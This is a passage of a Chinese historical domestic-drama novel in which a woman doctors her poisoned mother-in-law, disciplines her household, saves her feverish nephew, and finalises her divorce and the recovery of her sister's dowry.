这些年婆母秦氏对她的磋磨与苛待,她不会忘记。但从小的教养也不许她在这个时候对一个病弱的老妇人落井下石。
裴芷进了内屋就闻到了一股浓浓的药味,还有很难闻的酸臭味。
这是病人被毒物伤了肠胃,呕吐之后的气味。
裴芷命人将窗户打开,散下屋里的气味,然后坐在了床边仔细看秦氏的面容。
她在“望闻问切”,最后确认秦氏除了中了**的毒外,还有没有中别的毒。
望了一会儿,发现秦氏脸色蜡黄,唇边有血迹。裴芷伸出指头擦了擦血迹,闻了闻。果然是苦杏仁味。
又为秦氏诊脉。
旁边秦氏的贴身嬷嬷——樊嬷嬷、许嬷嬷看得眼皮直跳。
虽然大夫没明说,但她们再蠢也猜到了秦氏被人下了毒。可谢府是秦氏把握手中的,她们又是秦氏的爪牙,怎么可能让毒物混进来。
唯一的可能就是……
两位嬷嬷都想到了唯一的可能打了个寒战。再联想到谢观南请了好几个大夫,明示暗示说秦氏是因为吃了益气丸才中了毒。
那个下毒的人不用说也知道是谁。
好狠,好毒。
两位嬷嬷打心眼里簌簌发抖。
她们自问自己也不是什么好东西,仗着手里有点权就对地位不如自个的下人又打又骂的,但再坏还没想到过向亲人伸出魔爪去。
而谢观南从小到大读的圣贤书,满口忠君爱国,孝义忠信的,内里竟然是个小畜生。
裴芷诊完脉,对两位嬷嬷道:“二夫人最近吃的药先停了。今日去太医院请范院正。”
两位嬷嬷犹豫,许嬷嬷仗着平日比樊嬷嬷少得罪裴芷,大胆开口问。
“二少夫人,可我们是请不到太医的。得先知会大房一声,等大房那边安排。”就算安排也不太可能请得动范院正。
那可是经常给圣人请平安脉的大官。
裴芷不慌不忙:“我写个帖子,你们让人送去范府。我父亲以前与范大人有点私交,应该是能请得动的。”
其实与范院正有私交的并不是她父亲裴济舟,而是教她医术的那位江湖神医。
两位嬷嬷赶紧称谢。
裴芷淡淡的:“你们不用谢我。只要婆母好起来,府中的事自然归于她手。”
她要走,要清清白白离开谢府,自然不
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可能留下来争掌家权,也不想画蛇添足报复一下谢观南母子。
反正两人都已经遭了报应。
她只是帮忙老天爷收拾下首尾,便能安心离开了。
这想法谢府上下自然是不知道的,见裴芷行事磊落,越发觉得愧疚。
裴芷安顿好秦氏,便出了主屋与管事们说话。
管事们其实只是想要确认下今后向谁禀报,一些大事需要谁点头。裴芷便替他们理顺了职责,又将清心苑要留下来谢府的下人身契与活契都交了出去。
她唤来侯管事,对众人道:“二夫人在病中,侯管事又是向来总管府库的,平日采买开销,也都按着从前先与侯管事禀报。”
“侯管事再知会我。等二夫人清醒,再交给二夫人定夺。”
侯管事愣住。他原以为裴芷要让他交出府库钥匙。他也做好了交出钥匙,被清算的下场。
没想到还是照旧从前。
这人人都垂涎的肥差事,裴芷竟然是一点都不想沾手。
众管事们一颗心终于落了地。
不过裴芷也并不是什么都不管不问,好糊弄的主儿。她调了几位管事的职,又提起从前几件府中审错的小事,将一位贪得太过分的管事调到乡下庄子种地去。
还让人查了他经手的账目。
总之,在众位管家眼里,裴芷这新主是大善人。
众管事心中万分感激地走了,裴芷将侯管事留了下来。
侯管事忐忑的心一下子又提了起来,手不自觉摸上了腰间的库房钥匙。
果然,裴芷缓缓开口:“有一件事得私下与侯管事先说说。”
侯管事认命叹了口气,直觉掏出库房钥匙呈上:“如今二夫人病重,二爷又琐事缠身,身子也不太好,二少夫人掌管库房钥匙是应该的。”
裴芷微微蹙眉:“我不是要这钥匙……”
她话还没说完,屋门的帘子被人急匆匆掀了,走进一位少女。
门槛还没跨进来,她就气冲冲嚷道:“裴芷!你不要脸的贱妇。别以为我母亲病了你就可以在府中称大王了。”
“我这就去告诉我哥,让我哥狠狠罚你,将你丢进宗祠里……”
第91章 报应不爽
裴芷被打断了话,瞧着冲进来的谢观云。
对这个明年要及笄的小姑子,裴芷没有好说的。
她骄纵得太过分了,甚至和外人联手设陷阱害她。这笔账,裴芷原本因为谢观云还算是小孩子不想计较,但是还是应了那一句。
“报应不爽”。
她不想计较,却有人非要急吼吼过来要与她算个清楚。
裴芷静静瞧着面前半大的谢观云。她一如既往傲慢刁蛮,且还用那双和谢观南七八分像的眼睛鄙夷瞧着她。
谢观云见裴芷不说话,还以为她和从前一般,胆小懦弱,任由她怎么讽刺折腾都不会发怒的“哥哥的续弦夫人”。
谢观云指着裴芷:“你说话呀。我母亲是不是你下毒害得卧床不起的?”
“还有我哥,他怎么又病了?这些日子你在清心苑难道都没好好照顾他吗?”
“还有,谁准许你来北正院发号施令了?”
一连串没脑子的质问冲着裴芷而去。她玉雪似的面上没什么表情,身边的管事嬷嬷、丫鬟们却一个个变了脸色。
也怪她们疏忽,光顾着秦氏生病,忘了谢府中还有一位难缠的小姑奶奶。
谢观云还在嚷嚷,裴芷垂着眸没说话。
谢观云终于嚷累了,回过神来发现一屋子的人都用很奇怪的眼神瞧着自己。
“你……你为什么不说话?”她皱眉盯着裴芷,“是不是心虚了,无话可说了?你别以为装聋作哑的我就会放过你。我现在就去告诉我哥……”
她恶狠狠盯着裴芷:“现在就算你怎么求我,我也一定要叫我哥把你休了!”
她说着就往屋外走,但到了门边她下意识停住了脚步。
她回头看了裴芷一眼,心下道,这会她该求我了。不过就算她求我,我也不会理她,得狠狠羞辱一番,再让我哥将她休了。
但,谢观云在门槛边等了许久,脖子都要扭酸了都没听见裴芷出声挽留。
更不用说她期待中的哀求,压根没发生。
谢观云皱眉回头,却见裴芷不紧不慢端起茶盏,轻轻撇了浮沫后,端到了唇边轻轻抿了一口。
裴芷仪态一直很好,一举一动都彰显出是出身名门世家的大家闺秀。何况她长得美,一动一静都像是一幅画。
简简单单喝个茶而已,却怎么看都赏心悦目。
只是这样子落入谢观云眼里,脑子好像被什么砸了下,瞬间血气涌到了脑子里。
嗡嗡的。
什么意思?裴芷在嘲笑她?无视她?
谢观云脸色变得很古怪。
裴芷抿了一口茶之后,才看向身边的人:“许嬷嬷,伺候三姑娘的是谁,都唤进来。我有话说。”
许嬷嬷点头,匆匆出了屋子。
过了一会儿,鱼贯进来伺候谢观云身边的一位乳娘、两位嬷嬷,还有四个贴身丫鬟。
裴芷沉静的眸光扫过这些人,淡淡道:“都跪下。”
屋子里骤然一静。
谢观云终于反应过来,怒道:“小裴氏,你你……你敢让我的人跪你?!”
裴芷没看她,淡淡看向许嬷嬷:“许嬷嬷,您是二夫人身边最得脸的嬷嬷。也管三姑娘房中的人,你说说,我让她们跪,行不行。”
许嬷嬷经过下午这一遭早就彻底明白谢府风向了。
秦氏卧床不起,随时都可能归西。她们这些服侍旧主的老人,只能看新主母也就是裴芷的脸色。
现在正是她们旧仆人表忠心的好时候,怎么可能和她逆着来?
许嬷嬷是个当机立断的人,立刻道:“二少夫人言重了,这些都是签了身契的家生子,二少夫人说什么就是什么。”
说完,她朝着樊嬷嬷使了个眼色。
樊嬷嬷立刻上前,对准还在愣神不在状况的乳母、嬷嬷,狠狠踢了她们的膝盖窝。
一排都哆嗦着跪了下来。
裴芷看了一眼许嬷嬷和樊嬷嬷,心里叹气。
难怪秦氏喜欢用刁仆,原来是真的好用。
让刁奴当打手,都不需要自己多费口舌。
谢观云见情形不利于自己,尖叫起来:“小裴氏你……”
裴芷:“三姑娘喊我什么?”
许嬷嬷一个箭步上去用力捂住谢观云的嘴,赔笑道:“三姑娘,是谁教你对二少夫人如此不敬的?您得叫她嫂嫂。”
又对裴芷求情道:“二少夫人,三姑娘年纪小不懂事,被天杀的杀才怂恿着对您不敬。要打要罚得把祸根子找出来才是。”
“不要因为一两个坏心眼的杀才坏了你们姑嫂的情分。”
裴芷点头:“许嬷嬷说得对。”
“这些都是服侍三姑娘房中的人。三姑娘口出无礼之言,又不敬兄嫂,她们不但没
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劝着拦着,还任由三姑娘如此妄为。”
“来人,每人先掌嘴三十,再拉下去问清楚是谁教了三姑娘刚才那些话。问不出来,不许停手。”
谢观云瞪的眼珠子都快掉出来了。她想冲上去骂裴芷,但却被许嬷嬷死死按住手脚。
不一会儿,屋外就传来下人挨打的痛哭,还有不停歇“啪啪”扇脸的声音。
谢观云听得心惊胆战,看裴芷的眼神都变了个样。
裴芷此时已是累了,不愿在北正院待着。但还得将谢观云治服帖了,不然她还得惹事。
她朝谢观云招手:“三姑娘你过来。”
谢观云身上嚣张的气焰消失了不少,看裴芷招呼,一反常态不敢上前。
裴芷道:“你不过来,外面的人再挨十记。”
谢观云立刻走到她面前。
“你,你……”
她没了底气,说话声音甚至带着自己都没察觉的颤抖。
裴芷抬起手。
谢观云急忙用双手捂着自己的脸,大叫:“你别打我!你已经打了我的人,再打我……不行。”
裴芷手停在了半空,叹了口气:“我不是要打你。”
谢观云当然不信她,但裴芷不和她多余解释,伸手拉着她的袖子往里屋走去。
谢观云被她拉进了里屋。而里屋只有还在昏昏沉沉睡着的秦氏。
谢观云:“你让我进来做什么?”
裴芷指了指床上的秦氏,很是平静问道:“床上的是你的母亲,这些天你过来瞧她了没?”
谢观云瞬间心虚,低了头。
裴芷看她的神情就知道她没看过秦氏。
也是,秦氏特别娇宠谢观云,饭来张口衣来伸手的。
听说,谢观云到了十岁还在秦氏怀里吃饭。所以秦氏病得再重也不会让谢观云动手服侍的。
只是谢观云对亲生母亲如此漠视,如此冷血,倒是没想到。
裴芷:“如今娇养你的母亲病重,连着两日吐了血,你身为她的女儿就留下来侍疾吧。”
谢观云猛地抬起头,不敢相信:“什么?!你让我服侍我母亲?”
裴芷:“不应该吗?”
她眼底有浅浅的疑惑:“难道那不是你的亲生母亲?”
“不,不是,不是这个意思。”谢观云急得都嘴瓢了,“侍疾不是你的事吗?为什么非要我来?”
第92章 养孩子
说完,谢观云脸忍不住发烫起来。
她再不懂事也快及笄了。十几岁的年纪了,孝顺父母、礼义廉耻还是明白的。
现如今说的这话,那是人话?她说着都心虚。
裴芷摇头:“三姑娘说错了。侍疾最先的是儿子与女儿,再然后是我。若是婆母身边无女儿,那当然是我先。”
谢观云不敢说话了,因为没脸了。
裴芷:“再者,明年三姑娘要及笄了,也该说亲了。若是传出去闺中不侍奉母亲的坏名声,恐怕对你不好。”
谢观云咬牙:“那我侍疾了,你做什么?你总不能在旁边逍遥快活吧。”
逍遥?快活?
裴芷瞧着谢观云不服气的样子,不禁摇头。
谢家二房当真是烂泥扶不上墙。话都说到了这么明白,她还觉得旁人都是逍遥快活的。
裴芷不愿和谢观云多话,淡淡道:“你若是觉得我逍遥快活,大抵可以与我一起做事。”
谢观云:“你要做什么事?府中不是有下人做。”
裴芷:“我要去照料恒哥儿,三姑娘你去吗?”
谢观云闭嘴了。
恒哥儿难带又不是秘密,折腾起人来,简直像是讨债鬼似的。
裴芷见她不说话,吩咐房中的嬷嬷们:“今夜就三小姐陪床,喂药喝水,起夜的,要她亲力亲为,你们不许帮太多。”
房中的嬷嬷们面皮一紧,连忙应了下来。
她们有心要等裴芷走了,让谢观云回闺房歇息,但裴芷下了命令少不得让谢观云做做样子。
可就算是做做样子,对谢观云来说也是极难受的一件事。
外加谢观云房中的人都还在挨打挨骂着,她们也不敢就这样让这些受罚的下人回去伺候谢观云。
怎么敢让怨奴服侍主子?
怕不是在茶水里吐口水,在饭菜里面下巴豆。
于是谢观云不得不在北正院"侍疾",裴芷去了北正院的东屋去看望恒哥儿去了。
对于恒哥儿,裴芷的心情很复杂。
他是她的侄儿,是已故姐姐裴若留在这世上唯一的血脉。从内心来说,她是愿意心疼他的,也做到了待他如亲子。
但是恒哥儿太小了,是非不分,很容易被人唆使撺掇,越是长大越是和她离心。
不过老天爷有眼,让恒哥儿的离心叫她看清楚了谢府二房一家的真面目。
她醒悟得算是不晚。
到了东屋,房内屋外的下人们都赶紧举着灯笼,出来相迎。
裴芷由梅心扶着款款走了过来,到了廊下,先探头瞧了一眼。
问:“恒哥儿睡了吗?”
恒哥儿乳母曾氏赶紧道:“这几日小少爷发热刚好,许是身子虚,每天都嗜睡。”
“晚上用了半碗米粥,就去睡了。”
裴芷皱了皱眉。
这不是好现象。这么大的孩童,晚膳只用了点米粥是不行的。
东屋房中下人见裴芷面色不好,心中既忐忑又觉得憋屈。她们是后一批来服侍照顾恒哥儿的,前头一批已经被秦氏打的打、罚的罚,统统清理出去的。
她们后一批接手的是个不知根底的病孩,照顾起来分外吃力。
裴芷进了屋子,正要去瞧恒哥儿。
一位乳母模样的人突然拦住,口气生硬:“恒哥儿刚睡下不久。二少夫人要探望就明日早些来吧。”
“若是将恒哥儿闹醒了,又要半夜不睡,到时候受罪的还是我们。”
她话说出口,便拿眼瞪着裴芷。
一副很是能做主的样子,且并不将她看在眼里的傲慢。
旁边的乳母曾氏连忙道:“二少夫人可能不知道她是谁。她是二夫人从乡下请来的亲戚。特地来照顾恒哥儿的。”
裴芷没见过这人,问她姓名与来历。
此人夫家姓秦,与二夫人秦氏是隔了几房的亲戚,且叫她秦吴氏。
秦吴氏上下打量裴芷,冷声道:“二少夫人没有生养过,对孩子自然是不懂的。既然不懂就不要装懂,养孩子还是得像我这样养过一大帮儿子孙子的人来才行。”
裴芷问:“此话怎么讲?”
秦吴氏便得意说她膝下三个儿子,两个女儿,如今孙子孙女都有四个了。可谓儿孙满堂。
裴芷这才明白秦氏为什么要将秦吴
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氏从乡下请过来,原来是看中秦吴氏“子孙满堂”,便觉得她是有福之人。
恒哥儿三岁失去了母亲,算是福薄的。福薄的孩子由“子孙满堂”有福的人照顾,不是正好?
裴芷对秦氏教养孩子的逻辑也是无语凝噎。
她缓缓道:“秦吴氏,我且问你,恒哥儿脾胃弱,你是不是给他早上吃馒头,小米粥?”
秦吴氏道:“那是当然。馒头与小米粥最是养胃。”
裴芷摇头。又问:“一天膳食除了这些外,还吃了什么?”
秦吴氏:“米汤、果子。”
裴芷看了她一眼:“是不是用了之后,恒哥儿喊肚痛?”
秦吴氏面色一紧,不自然道:“小孩子时常嚷肚痛,这不是很正常吗?”
裴芷叹气:“他有先天肠绞,所以吃多点馒头面条什么都会绞痛难受。又底子虚,不能只吃这些粗粮。”
“你让开吧,我得进去瞧瞧恒哥儿了。”
秦吴氏满脸不服气,但又想到这些日子恒哥儿在她手里养着越养胃口越不好,脸色越来越差。
到了今日一整天只吃了半碗米粥,心中不由打鼓起来。
几十年来她坚持孩子粗粮养着就能健健康康的想法,开始动摇了。
因为她也没见过如恒哥儿这般虚弱的病孩。
这种孩子,在乡下庄子里是活不过三岁的。就算能活也会被抛弃。太难养了,养大了也是个废物,下不了地干活,所以早早放弃再生一个才是正经。
不过这些话秦吴氏是不敢说出口的。
裴芷进了屋子,让人将窗户打开,又点了灯。
这才照见了床上缩成一团,满脸通红,宛若病猫的小孩子。
裴芷探手一摸,面色顿时冷了下来。
秦吴氏跟了进来,还唠叨:“哎,开窗有风,吹着孩子怎么行?”
“真是不是自己的孩子,一点都不心疼……”
裴芷看向她:“秦吴氏,你过来摸一把。要是我今夜不过来看一眼,恒哥儿明日就烧成傻子了。”
秦吴氏不信,伸手摸了摸,面色顿时变了:“我的娘!这么烫!”
第93章 她像观音
恒哥儿已经烧得迷迷糊糊的,浑身滚烫,还不见半点汗。
裴芷知道,这是最凶的。
只发烫,不流汗。体内邪火发不出去,轻则烧坏了五感,重则烧成痴呆,或是惊厥早夭。
东屋下人们都惊起来,赶紧端水的端水,煎药的煎药。秦吴氏站在旁边,瞧着恒哥儿烧得牙关咬得死紧死紧的,四肢都有抽搐的迹象。
她吓得面无人色,站在旁边动都动不了。
恒哥儿要是烧成什么好歹来,她是罪魁祸首。
裴芷抱着恒哥儿,让梅心兰心将他身上衣服都脱了。一层层的,足足脱了五件。
裴芷再好的脾气都忍不住:“小孩子睡觉怎么能给他穿这么多?”
秦吴氏喏喏辩解:“恒哥儿虚……怕他着凉。”
乳母曾氏早就看出秦吴氏不会带孩子,平日见她做派早就心里不满了。但因为秦吴氏是二夫人秦氏的亲戚,还说是什么有福之人。
东屋的人都不敢不听她的话,乳母曾氏也不敢违背。
现如今见裴芷来了,乳母曾氏有了底气,在旁边骂:“明知道小孩子发热就不该穿那么多,万一烧坏了可怎么办?”
“也不让我守着恒哥儿,要不是二少夫人来要看看……”
秦吴氏讪讪站在旁边。
裴芷将脱了衣服的恒哥儿抱在怀里,让人去打水来。
秦吴氏又跳出来:“打水做什么?难道要给恒哥儿洗澡?他如今热得很,冷水一逼,热气就进了身子。”
裴芷不理她,然人打来冷水,在恒哥儿的四肢擦了擦,然后拿出银针为恒哥儿施针。
几针下去,恒哥儿微微抽动的四肢安稳下来。脸色也慢慢恢复正常,呼吸也没那么急促了。
乳母曾氏在旁边看得眼泪直流,一个劲轻声感谢裴芷。
她是看着恒哥儿从小到大的乳母,前一个被秦氏打坏的乳母走了后,她便是照顾最久的。
裴芷又开了一副方子让人去连夜抓药。
一直到了半夜,恒哥儿幽幽转醒。他睁眼瞧见裴芷,迷糊喊了一声“母亲”“娘亲”就往她怀里钻。
裴芷心里叹了口气,抱着他愣愣出神。
难怪生了孩子的女人,哪怕在夫家过得再难都不走。孩子便是牵着女人的绳子,一声“娘亲”就能将女人牢牢捆住,哪怕再苦,只要拿捏住孩子,女人就得给夫家做一辈子的奴。
乳母曾氏看得心酸,她擦着泪,低声劝:“二少夫人,阖府都知道您受委屈了。可孩子是无辜的。恒哥儿是个好孩子,只是被人教唆了对您不敬。”
“蔡乳娘被打坏了赶出去了,以后不会有人在恒哥儿身边说嘴了。”
裴芷知道,曾氏说的蔡乳娘便是一直贴身照顾恒哥儿的乳母。也就是白玉桐偷了一根银针扎了恒哥儿时,被秦氏拿下当做的替罪羊。
乳母曾氏又道:“这些日子我一直偷偷与恒哥儿说,二少夫人对他多好,多精心照料他,绝没有那份害他的心思。”
“过世的二少夫人也不是您害的。这些话恒哥儿听懂了。他还说等见了您要给您赔罪。”
裴芷听着乳母曾氏的劝解,沉默不语。
乳母曾氏见她神色淡漠,不知道她心里怎么想的,便不敢再劝。
等药煎好了,裴芷摇醒了恒哥儿,一口一口喂了他吃下去。
恒哥儿从前很怕吃苦药,总是吃一口都需要又劝又哄的,有时候他不高兴还故意吐了满地,还得重新煎一碗来才能喂好。
但今夜奇了怪了,恒哥儿在裴芷怀里一口接着一口都喝了。
喝完了,他怯生生问:“母亲不走了吗?”
裴芷不忍心让他失望,温声道:“等你睡着了,母亲再回去。”
恒哥儿嘴一瘪想哭,但瞧见裴芷淡然的脸色,他及时收住了哭声。
“好,那母亲明日还看恒儿吗?”
裴芷犹豫了片刻,慢慢点了点头。
恒哥儿便安心睡着了。裴芷留下来吩咐了明日给恒哥儿吃什么,用什么。等吩咐完了。
她唤来秦吴氏。
秦吴氏见她刚才一番安置恒哥儿,便知道她的确是对孩子上心的,而且这么凶险的高热,她几针下去就见效。
这手医术,简直生平没见过的。
裴芷叹了口气:“秦吴氏,你并不会照料孩子。这里
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实在是留你不得。明日去侯管事那边领两个月的份例,然后让人雇一辆牛车,你回老家吧。”
秦吴氏张了张嘴,想为自己辩解,但想来想去还是张不了口。
最后,她嘟哝:“孩子嘛,养那么精细做什么。哪里像我们乡下户,孩子满地爬,捡鸡屎吃都没事。”
裴芷没说什么。
梅心跳出来。她早就瞧这老太婆不顺眼了。听得裴芷把她辞了,心里一番话不吐不快。
“你这个老虔婆说什么鬼话呢?恒哥儿命多金贵,哪是你这般养的?再说孩子脱了娘胎就是一条性命。你把孩子当狗养,当猪养,那是你不仁。别攀扯到别人身上。”
“还说什么孩子好养活,你说的好养活便是不管不顾。**便**,再生一个不就是了嘛?你哪里是会养孩子,你这是草菅人命!”
秦吴氏被骂得满脸通红,再看裴芷神情淡淡的,端坐在堂上。
她美得和不吃饭只喝仙露的仙女似的。
可偏生这样美的人,比她还会伺弄孩子。一想到这,秦吴氏又气又没话说,只能跺跺脚,生气走了。
裴芷处理完东屋的事,看看天色叹了口气。
心里想走,可处理的事才处理一半。
……
第二日,裴芷睡得晚了些。她依旧是不紧不慢地洗漱,用早膳,将自己收拾妥当了再去北正院。
秦氏昨儿换了药后,今日面色稍微好了些,但还是不能起身。
谢观云昨夜伺候了一夜,直到天发白才回房睡觉。
而恒哥儿好多了,由乳母曾氏抱着过来给裴芷瞧。
裴芷摸了摸恒哥儿的脉门,知道他高热已经退了,只需好好养身子,饮食上禁忌点就行了。
毕竟是孩子,恢复起来也快。
谢观南一早过来北正院就瞧见裴芷抱着孩子,身边围了一圈嬷嬷丫鬟们。每个人脸上都没了惶恐不安,都像是找到了主心骨似的。
而裴芷抱着孩子,姿容美丽,一身云水青锦缎长裙将她身上温婉沉静的气质衬托得越发明显。
有那么一瞬,谢观南以为自己瞧见的是一位踏云下凡的送子观音。
第94章 嫁妆单子
谢观南站在屋门边瞧着,失了神。
裴芷瞧见了他,一瞬间厌憎涌上了心头。若不是出松风院之前奉戍千叮万嘱叫她隐忍,她恨不得怀里揣把**刺入谢观南的心口。
他做的恶行差点就毁了她。
如今竟有脸出现在这里。
梅心瞧见裴芷捏着茶盏,手指发白,面色极白,便知她心中极愤怒。回头一看,便看见了谢观南沉默走了进来。
梅心在一瞬也有与裴芷同样的念头,只恨不得与此人同归于尽。
但戏,还是得演。
梅心上前:“二爷来了。”
一屋子的下人见过了谢观南。唯独裴芷坐着一动不动,一眼也没看他。
谢观南此时心情是极复杂的,不甘心中掺杂着巨大的、无法言说的恐惧。
因为到了此时此刻,他都想不出裴芷是怎么逃出守卫森严的谢府,又是如何将**诉状送到了大理寺的陈怀瑾大人手中,又是怎么将参与此事的一干喽啰送官取证。
而最令他恐惧的一点是,裴芷又是怎么说服以古板固执闻名的陈怀瑾网开一面,主动弹压了此事,从而不让她陷入名声毁灭的境地中的?
其中一环扣一环,既拿住了他找人毁正妻清白、下毒弑母的罪证,又法外容情,不让叫谢府因这两件天大丑事蒙羞,趁机将裴芷轻轻摘了出去。
背后这双大手,到底是裴芷本人,还是另有其人?
谢观南坐在椅上,两股战战,冷汗不停流出。他狼狈擦汗,不知怎么开口。
在令人窒息的沉默中,裴芷放下茶盏,淡淡开了口:“梅心,我要与二爷说两句话。”
梅心立刻将屋中下人们都屏退了,然后在屋外守着,不让人近前。
偌大的主屋只剩下两人。
裴芷嗓音依旧淡淡的:“二爷今日能来,应该是身子大好了。”
谢观南喏喏应了一声,再也没有了故作清高与高傲。
他从袖中拿出一张纸,半天才道:“这是和离书。你瞧一瞧,看写的对与不对。”
和离书递了过来,薄薄一张,宛若千斤分量。
裴芷接过,心绪复杂万千。
这世道对女子何等苛刻。为了这一张薄纸,她几乎丧了性命。
她一目十行看完,便拿了笔墨在上面郑重写下自己的名字,又盖了私章与手印。唤来兰心,将和离书去交给府衙大人。
只要官府备了案,两人便没了夫妻关系。
谢观南坐在一旁,瞧着裴芷签字画押,又让下人送文书去府衙备案。她动作干净利索,没有半点留恋,直叫他心里五味杂陈。
他到了现在还犹如在梦中。
裴芷对他只有夫妻的责任,那些责任还只是看在已故的裴若面子上,而对他些许情意早就消失在他一次次的苛待中。
他还以为她对自己情深,离不开自己,如今想起来竟像是戏台上的丑角,让人发笑。
裴芷瞧着兰心离开,心头最重的一块大石终于落下。她长长舒了一口气,几日来心里紧绷的弦也跟着松了。
真好,终于能脱了这樊笼,从此便是自由身了。
一瞬,她突然很想亲口告诉谢玠。
不知他是不是与她一样,面上会有笑容。
谢观南瞧着裴芷的脸色从松了口气后,突然垂首嫣然一笑。
她本就极美,但平日鲜少露出笑容,如今这一笑宛若在平静的潭水上落下一颗石头,碧波荡漾,波光粼粼,似能听见春风骤然拂起万千花朵,缤纷落下。
谢观南瞧得呆了。
心中的后悔再也抑制不住,阵阵刺痛——这么美好的女子,从今日这一刻开始已经不是他的了。
而她花样年华,将来又会寻觅什么样的夫君?
心突然如刀锥刺入,心痛得无以复加,话到了嘴边却变了味:“如今这样,你应该满意了吧?”
说完,谢观南面色变了,心里后悔不已。
大约他将来要死在这张臭嘴上。
裴芷淡淡道:“二爷觉得我是满意,便是满意吧。我也没有别的话与二爷多说。”
谢观南张了张嘴,半天才丧气从袖子中掏出一本册子。
他生硬道:“你嫁入
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谢府三年,虽然嫁妆不多,但绝不会贪你那些嫁妆。你收回去吧。”
裴芷略有些惊讶。当初她嫁人时裴家已经被抄了一回,几乎没有像样的东西可以让她陪嫁。
那一点陪嫁还是姐姐拿了体己钱悄悄给她置办的。
她以为嫁妆是拿不回了。
谢观南翻开册子,递给了她:“你要不看看?”
裴芷摇头:“不用了,也不多。”
谢观南不敢看她,将册子翻开,拿出一份泛黄的单子。
“里面有你姐当年嫁妆单子的副本,你依着单子去库房清点出来吧。”
“你已故大姐的嫁妆也该给你。她给谢家生了恒哥儿,又病逝,这份嫁妆她生前说了,要留给你的。”
裴芷猛地站起身,指着谢观南,指尖颤抖。
半天,她挤出一句话:“你……我大姐是不是临终前嘱咐了这句?!而你今天才告诉我?”
谢观南抿紧唇,面色极其难堪。
裴芷一看就明白了一切。面色猛地一白,差点没扶住桌案。泪簌簌滚落,滴在手背上,心亦是如针扎般。
难怪姐姐裴若过世前非要她答应了嫁入谢府,原来不仅是要她守护恒哥儿,也是想将自己丰厚的嫁妆给她。
因为当时裴府已经因父亲裴济舟获罪,败落,家中为她准备的嫁妆也被抄没了。
姐姐裴若知道女子没有嫁妆入夫家会非常艰难,又要嫁入同样败落的沈府,等于难上加难,所以才动了这个念头。
让她嫁入谢府,既能过得安稳,还受到谢家庇护,同时又能帮忙照看恒哥儿,可谓一举三得。
谢观南低声道:“你姐临终之前还说了,若是你最后还是不愿嫁入谢家,那便不可以勉强你。她那份嫁妆依旧要赠给你,祝你嫁得得意郎君,一生无忧。”
“可是……”
“可是你不愿我姐的嫁妆给了外人,又不愿另娶外人照顾恒哥儿,所以与我母亲一起逼我嫁给你?是与不是?”
裴芷声音微颤,“原来三年前你瞒了我那么多。你怎么对得起我姐?”
第95章 算清了
谢观南垂首不语,膝上双手抓着袍子,脸面上已是极难堪。
“是,是我与母亲起了贪念,与你母亲合谋,一起设计逼你。”
“你母亲借你的名义写了退婚书给了沈家,又将他约出来,羞辱一顿。沈三郎年轻气盛,怒而退婚,远走西北。”
“而你……”
他看向裴芷,自嘲一笑:“你走投无路,我亲自去劝你,你便信了我。”
“也许那时我以为你对我情根深种才答应嫁入谢家。其实,你只不过是因为你姐的嘱托吧。”
“我们都错了,都以为你……”
裴芷:“以为我贪图谢府荣华富贵,又想着我不过是一介弱女子,婚嫁之事由母亲决定,是怎么敢不情愿的。”
谢观南不语。
屋中陷入了死寂。
揭开不堪的过往,写满了龌龊的人心,谁都不好受。
谢观南推了推案上厚厚的册子,声音沙哑:“嫁妆单子我交了出来,从前的事也说了。这下你回去与那人说,放过我,也放过谢家吧。”
裴芷皱眉:“哪个人?”
谢观南见她神色迷茫,心中疑惑更多。
难道她背后真的没人?
谢观南低头:“那就……就与陈大人说一声,该做的我都做了。不敢有半点隐瞒。”
“让陈大人饶了我吧。”
说完,他逃也似的匆匆跑了,甚至忘了去探望母亲秦氏。
裴芷收起嫁妆单子,仔细看去,果然许多是姐姐裴若原本陪嫁过来的。
她知道这些,是因为当初姐姐裴若出嫁时,嫁妆单子就是她帮忙拟的。
彼时裴家还兴盛,母亲苏氏又极偏爱大女儿,自然是陪嫁越多越好,还将她一部分的体己钱都贴给了裴若。
没想到,这倒是最后给了她。
裴芷叹了口气,唤来梅心将册子给了她保管。
“你……你真的……要与观南和离?”不知什么时候秦氏清醒过来,竟听到了谢观南与她说的话。
不顾病体虚弱,秦氏从床上挣扎下来,靠在内屋的门边问她。
裴芷深吸一口气,神情平静:“二夫人,你有什么话要问便问二爷吧。”
“我只拿走该我拿走的,若是不服,你与二爷商议。”
说完,她向秦氏道:“你我婆媳三年情分,我替你解毒,算是还清了。”
“山长水阔,再不相欠。”
说完,她领着梅心离了北正院,没看秦氏一眼。
而秦氏心一灰,晕了过去……
第二日一早,裴芷便早早起身梳洗完毕,来不及用早膳就让侯管事前来。
昨日已经将姐姐裴若的嫁妆单子,外加她当年的嫁妆单子,以及从前贴补谢家的银子账册一并都算进去。
侯管事前来的时候,一脸倦色,眼袋黑漆漆的。一看就知道昨夜没睡好。
“二少夫人,都清点完毕了。”他交上册子,声音沙哑,“一共是五万七千八百两,外加已故二少夫人的珠宝头面首饰、古籍、字画、文玩、还有并您的一些私人用的东西。”
“一并东西都装箱完毕,等着二少夫人检验过后贴条。”
裴芷微微一愣。
知道姐姐裴若的嫁妆多,但没想到这么多。可见母亲苏氏对长姐的偏爱,超过了自己好几百倍。
裴芷一边让梅心与兰心前去清点,一边询问侯管事府中还有什么难处。
侯管事一腔苦水不停往外倒。裴芷才知道,这几年下来谢府二房这边入不敷出,秦氏不擅经营,谢观南又是大手大脚的,亏空得特别厉害。
裴芷若是不走,将来她的嫁妆都贴补进去,外加姐姐裴若的嫁妆也得动用。
裴芷沉默不语。
侯管事原本还想劝她留下,但刚说完困境之后,那些话就没脸说出口。
裴芷叹了口气:“坐吃山空不是长久之计,我虽然与谢府再无关系,但也不忍心恒哥儿落了难。”
她将昨夜拟好的一份单子交给侯管事:“这是从我姐嫁妆单子里拨出来的,有三间铺子,五千两,还有一处庄子并二十亩良田。”
“这些银钱够单养恒哥儿到成年与上学。记住这些东西是单给他的,府中别人不能拿去做他用。”
侯管事心中叹服,应了下来。
裴芷处理完嫁妆的事已到了正午。她腹中饥饿,又心思飘浮,只想此时此刻离开这困了三年的樊笼。
梅心清点完
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财物,兴奋得满脸通红。原以为少夫人要净身出户,没想到谢家二房良心发现终于做了一回人。
裴芷见她乐不可支,玉雪似的面上终于露出这些日子以来第一次真心笑靥。
她吩咐:“去备个车马,我们出去寻个好地方用饭。”
梅心赶紧去准备,还喊上兰心。
主仆三人带上家丁,一行人喜滋滋朝着京城最大的酒楼“和悦酒楼”而去。
